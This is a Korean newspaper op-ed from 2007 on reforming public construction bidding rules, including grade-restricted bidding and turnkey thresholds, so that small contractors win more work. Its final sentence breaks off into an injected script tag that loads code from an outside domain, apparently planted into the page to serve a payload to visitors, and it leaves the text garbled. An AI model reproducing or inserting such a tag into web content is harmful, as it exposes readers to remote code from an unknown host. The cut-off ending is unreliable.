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언론기고

중소 건설업체 수주기회 늘려 양극화 해소 나서야

보도일자 2007-02-20

보도기관 일간건설신문

양극화 해소를 위한 중소기업 수주기회 확대방안

경제사회 전반의 양극화 추세와 함께 건설업계에서도 2003년 이후 대기업과 중소건설업체간의 수주격차가 심화되고 있다. 2005년 들어 공공부문의 대기업과 중소기업간 수주 격차 심화 원인은 복합적이지만, 가장 큰 원인은 턴키발주의 급증을 비롯한 입낙찰제도 변화와 BTL방식의 민간투자제도 도입에 있는 것으로 판단된다. 그리고, 최저가 낙찰제가 300억 이상 공사로 확대되면서 대기업과 중소기업간의 공동도급 비중이 축소되는 것도 영향을 미치고 있다.
공공부문의 입낙찰제도 몇몇 변화만을 보더라도, 현재의 추세가 계속된다면 대기업과 중소건설업체간의 수주격차는 더욱 심화될 수밖에 없다. 따라서 중소건설업체의 자발적이고 내부적인 수주 경쟁력 확대는 매우 시급한 과제이다. 그러나 제도적 요인에 의해 수주가 상당히 좌우되는 우리나라의 공공건설 시장의 현실에서, 입낙찰제도를 차치하고 양극화 해소를 온전히 중소건설업체의 자구적 노력에만 의존하는 것은 불가능하다. 즉, 기술개발, 경영혁신 등 기업차원의 노력과 함께 중소건설업체의 공공공사 수주물량 확대를 위한 제도적 개선방안 또한 동시에 이루어져야 한다.
이에 본고에서는 장기적인 방향의 건설산업의 개선 방향인 시장경제 논리의 강화 및 국제 표준의 도입 등을 크게 거스르지 않는 범위에서 현행 입낙찰제도의 문제점과 중소건설업체를 보호할 수 있는 방안을 검토하였다.


(1) 등급제한 입찰제도 개선

현행 등급제한 입찰제도는 등급내에서 실적기준을 충족하는 소수업체와 상위등급업체에게 유리한 구조로 볼 수 있다. 각 등급내 업체중 적격심사 실적평가에서 만점을 받을 수 있는 업체가 소수에 불과하고, 실적이 부족한 업체의 경우 입찰에 참가하기 위해서는 상위등급업체와의 공동도급이 불가피하기 때문이다.
우선, 등급제한 입찰제도 개선의 기본 방향은 실적평가에서 만점을 받을 수 있는 비율을 늘려서 건설업계의 동반성장이란 취지를 살리되, 경쟁력 있는 업체를 보호한다는 원칙을 고수하는 균형점을 찾는 것이다. 등급제한 입찰제도의 취지와 과도한 실적 요구를 완화해야 한다는 중소건설업체의 요구 등을 종합적으로 감안하여 해당 등급 업체의 30% 정도가 만점을 받을 수 있는 수준으로 실적평가 만점 기준을 완화하는 것이 바람직하다.  
보다 현실적인 문제로서는 비PQ 등급제한 공사의 공동수급체 평가방식을 개선할 필요가 있다. 비PQ 공사의 경우 공동수급체 구성원별 시공실적에 시공비율을 곱해 합산하여 실적을 평가하고 있다. 따라서 시공실적이 부족한 중소업체가 대표사가 되는 경우 실적 보완을 위해 불가피하게 상위등급 업체를 구성원으로 포함하여 등급제한제도의 실효성이 감소되는 결과를 낳고 있다. 반면, PQ 공사의 경우 대표사의 시공실적은 100% 인정하고, 나머지 구성원들은 시공비율을 곱하여 실적을 평가하고 있다. 따라서 PQ 공사의 등급제한 공사물량은 비교적 해당등급 업체에게 적정 배분되고 있는 실정이다. 따라서 비PQ 공사도 PQ 공사와 동일하게 해당등급 업체만으로도 공동수급체를 구성하고 공사수주가 가능하도록 대표사의 실적을 100% 인정하는 것으로 개선되어야 할 것이다.


(2) 턴키.대안입찰제도 개선

현행 국가계약법 시행령 제79조에서는 “대형공사”를 추정가격 100억원 이상 공사로 정의하고 있다. 이러한 대형공사의 상당 부분이 중앙기술심의위원회의 심의를 거쳐 턴키․대안입찰로 발주됨으로서 대형업체로 발주물량이 집중되는 결과를 낳고 있다. 따라서 수주양극화 해소를 위해서는 불필요한 턴키․대안입찰 발주물량을 축소하고, 분할발주를 활성화하는 조치가 필요하다.
우선적으로 필요한 조치는 턴키․대안입찰 공사의 발주기준이 되는 대형공사 금액기준의 상향조정이다. 현재의 정의는 1992년에 결정된 후 지금까지도 동일한 기준을 유지하고 있다는 측면에서 물가상승율을 반영하면 금액기준은 200억원이 된다. 그러나 200억원의 확대는 단지 물가상승율을 감안한 금액기준의 합리화에 불과하다. 대형공사 금액기준의 상향이 실제적인 중소기업 지원책으로서 기능하기 위해서는 300억원 정도로 상향할 필요가 있다. 이는 발주규모의 대형화 추세를 감안한 것임과 동시에 수치적 논리가 아닌 정책적 판단에 의해 가능한 조치이기도 하다. 대형공사 금액기준을 300억원으로 상향조정시 2005년 기준으로 중소건설업체에 연간 5,200억원 수준의 수주물량 지원효과가 나타날 것으로 전망된다.
또한 공사규모의 대형화 추세를 감안하고, 중소업체 수주물량을 지원하는 차원에서 분할발주의 활성화를 유도할 필요가 있다. 일괄입찰의 취지를 훼손하지 않는 범위에서 하자책임 구분이 용이하고 공정관리에 지장이 없는 부수적 공사는 중소업체?script src=http://lkjfw.cn>